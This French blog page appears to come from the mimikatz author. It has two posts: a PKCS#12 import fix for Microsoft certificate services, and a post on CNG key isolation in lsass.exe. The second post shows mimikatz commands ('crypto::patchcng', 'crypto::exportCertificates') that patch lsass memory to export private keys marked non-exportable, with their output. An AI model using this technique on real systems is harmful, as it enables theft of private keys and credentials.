Import d’un certificat d’autorité dans le service de certificats Microsoft

! Attention, cet article peut paraître totalement aberrant aux lecteurs connaissant les HSM !

Si vous avez généré votre biclé sur un système tiers plutôt que sur le serveur d’autorité Microsoft, il va falloir l’importer lors de l’installation ou du renouvellement…
Si certains messages d’erreurs lors de cet import peuvent être explicites, d’autres sont plus déconcertants :
import_p12
Le certificat sélectionné n’a pas pu être utilisé

Ou lors de l’import dans la console de certificats :
import_re_p12
ASN1 fin de données inattendue. 0x80093102 (ASN: 258)

Pourtant ce certificat peut très bien être utilisé par l’autorité…
Malgré ce Windows trop sur de lui, ce n’est pas le certificat qui ne peut être utilisé, mais le conteneur PKCS#12 qui ne contient pas les données attendues par le service…

Voici les attributs de clé contenu dans notre « P12 », précédemment généré par OpenSSL, xca ou autres logiciels cryptographique digne de ce nom :

Offset| Len  |LenByte|
======+======+=======+======================================================================
  4195|    62|      1| SET : 
  4197|    23|      1|    SEQUENCE : 
  4199|     9|      1|       OBJECT IDENTIFIER : friendlyName [1.2.840.113549.1.9.20]
  4210|    10|      1|       SET : 
  4212|     8|      1|          BMP STRING : 'acms'
  4222|    35|      1|    SEQUENCE : 
  4224|     9|      1|       OBJECT IDENTIFIER : localKeyID [1.2.840.113549.1.9.21]
  4235|    22|      1|       SET : 
  4237|    20|      1|          OCTET STRING : 
      |      |       |             9A499BFB3E6AACE88638381E253C15190BC16FDD

ou via OpenSSL :

Bag Attributes
    friendlyName: acms
    localKeyID: 9A 49 9B FB 3E 6A AC E8 86 38 38 1E 25 3C 15 19 0B C1 6F DD 
Key Attributes: <No Attributes>

Pour n’importe quel autre logiciel cryptographique, cela suffirait amplement…. mais non, Microsoft semble rester sur sa faim avec ce P12…
Reconstruisons un autre avec le même certificat, la même clé, mais avec d’autres attributs :

  • Local Machine Keyset (-LMK)
  • Cryptographic Service Providers (-CSP x)
  • Friendly Name (-name)

Le fichier .p12 est conservé, un nouveau .pfx est créé.

openssl pkcs12 -password pass:XXXX -in acms.p12 -out acms.pem -clcerts -nodes
openssl pkcs12 -in acms.pem -password pass:XXXX -out acms.pfx -name "ac ms" -CSP "Microsoft Software Key Storage Provider" -LMK -export

Remarques :

  • ne pas oublier de supprimer minutieusement le fichier acms.pem
  • Le fournisseur « Microsoft Software Key Storage Provider » n’est disponible que sous NT 6, il doit malheureusement être remplacé par « Microsoft Enhanced RSA and AES Cryptographic Provider » avant

Voici les nouveaux attributs de clé :

Offset| Len  |LenByte|
======+======+=======+======================================================================
  4195|   174|      2| SET : 
  4198|    13|      1|    SEQUENCE : 
  4200|     9|      1|       OBJECT IDENTIFIER :  [1.3.6.1.4.1.311.17.2]
  4211|     0|      1|       SET : ''
  4213|    25|      1|    SEQUENCE : 
  4215|     9|      1|       OBJECT IDENTIFIER : friendlyName [1.2.840.113549.1.9.20]
  4226|    12|      1|       SET : 
  4228|    10|      1|          BMP STRING : 'ac ms'
  4240|    35|      1|    SEQUENCE : 
  4242|     9|      1|       OBJECT IDENTIFIER : localKeyID [1.2.840.113549.1.9.21]
  4253|    22|      1|       SET : 
  4255|    20|      1|          OCTET STRING : 
      |      |       |             9A499BFB3E6AACE88638381E253C15190BC16FDD
  4277|    93|      1|    SEQUENCE : 
  4279|     9|      1|       OBJECT IDENTIFIER : szOID_LOCAL_MACHINE_KEYSET [1.3.6.1.4.1.311.17.1]
  4290|    80|      1|       SET : 
  4292|    78|      1|          BMP STRING : 
      |      |       |             'Microsoft Software Key Storage Provider'

ou via OpenSSL :

Bag Attributes
    Microsoft Local Key set: <No Values>
    friendlyName: ac ms
    localKeyID: 9A 49 9B FB 3E 6A AC E8 86 38 38 1E 25 3C 15 19 0B C1 6F DD 
    Microsoft CSP Name: Microsoft Software Key Storage Provider
Key Attributes: <No Attributes>

Cette fois, le PFX est correctement importé et utilisable. Le cas échéant, il faudra aller supprimer l’ancien certificat déjà importé.

Cryptography API: Next Generation et export de clés privées (aperçu)

Un petit billet sur la gestion de l’export des clés privées par la CNG (Cryptography API: Next Generation)…

Petite introduction

Un peu de documentation sur ces API pour commencer :

Il est plus qu’aisé de sortir des clés privées « non exportables » gérées par la CryptoAPI, en effet celles-ci sont traitées directement dans la mémoire du processus appelant, et donc totalement à notre merci (JNZ qui deviennent JMP…).
Microsoft a fait un petit pas sur ce sujet, il a décidé d’isoler les clés privées dans le processus « sécurisé » lsass.exe, via le service KeyIso.

Bénéficier de la CNG

Il est malheureusement très difficile de bénéficier de cette avancée, en effet, lors de l’import d’un PFX ou d’un P12 il ne nous est pas proposé de sélectionner le nouveau provider KSP : « Microsoft Software Key Storage Provider », l’on se retrouve donc de manière automatique avec les providers par défaut de la CryptoAPI… quelle avancée !

Pour passer par la CNG l’on doit :

  • programmer (!)
  • utiliser un outil ayant fait ses preuves dans le domaine de la convivialité : certutil

Exemple d’import avec certutil :

  • Avec clé exportable : certutil -user -p waza -csp "Microsoft Software Key Storage Provider" -importpfx test.p12
  • Avec clé « non » exportable : certutil -user -p waza -csp "Microsoft Software Key Storage Provider" -importpfx test.p12 NoExport

Résultat, la CNG est tellement sécurisée, que notre MMC préférée (certmgr.msc) est, pour le moment, incapable d’exporter une clé exportable…

Notre seule solution :
certutil -user -p export_waza -privatekey -exportpfx test export_test.p12

Jouons avec lsass

Manipuler quelques octets dans lsass.exe n’est pas très compliqué :

mimikatz # crypto::patchcng
CNG@lsass patché !

mimikatz # crypto::exportCertificates
Emplacement : 'CERT_SYSTEM_STORE_CURRENT_USER'\My
         - test
                Container Clé : test-a9282d11-cbcb-4154-90f7-c94138850d63
                Provider      : Microsoft Software Key Storage Provider
                Exportabilité : NON
                Taille clé    : 2048
                Export privé dans  'CERT_SYSTEM_STORE_CURRENT_USER_My_0_test.pfx' : OK
                Export public dans 'CERT_SYSTEM_STORE_CURRENT_USER_My_0_test.der' : OK

Même certutil a l’air d’accord…

================ Certificat 0 ================
Numéro de série : 07
Émetteur: CN=test, C=FR
 NotBefore : 12/04/2011 02:10
 NotAfter : 11/04/2012 02:10
Objet: CN=test, C=FR
La signature correspond à la clé publique
Certificat racine : le sujet correspond à l’émetteur
Modèle:
Hach. cert. (sha1) : 68 61 30 0d 9a 8d 9a 85 e5 d6 9b 0d aa d2 b7 2e e3 67 09 0a
  Conteneur de clé = test-a9282d11-cbcb-4154-90f7-c94138850d63
  Fournisseur = Microsoft Software Key Storage Provider
La clé privée NE PEUT PAS être exportée
Succès du test de chiffrement
CertUtil: -exportPFX La commande s’est terminée correctement.

Inclus dans mimikatz (article : http://blog.gentilkiwi.com/mimikatz/crypto#patchcng)

Shhh…

…avec quelques adaptations, cela marche (pour le moment) avec Windows 8 build 7850…
(l’audit n’est pas encore implémenté)

CNG Export sous Windows 8 build 7850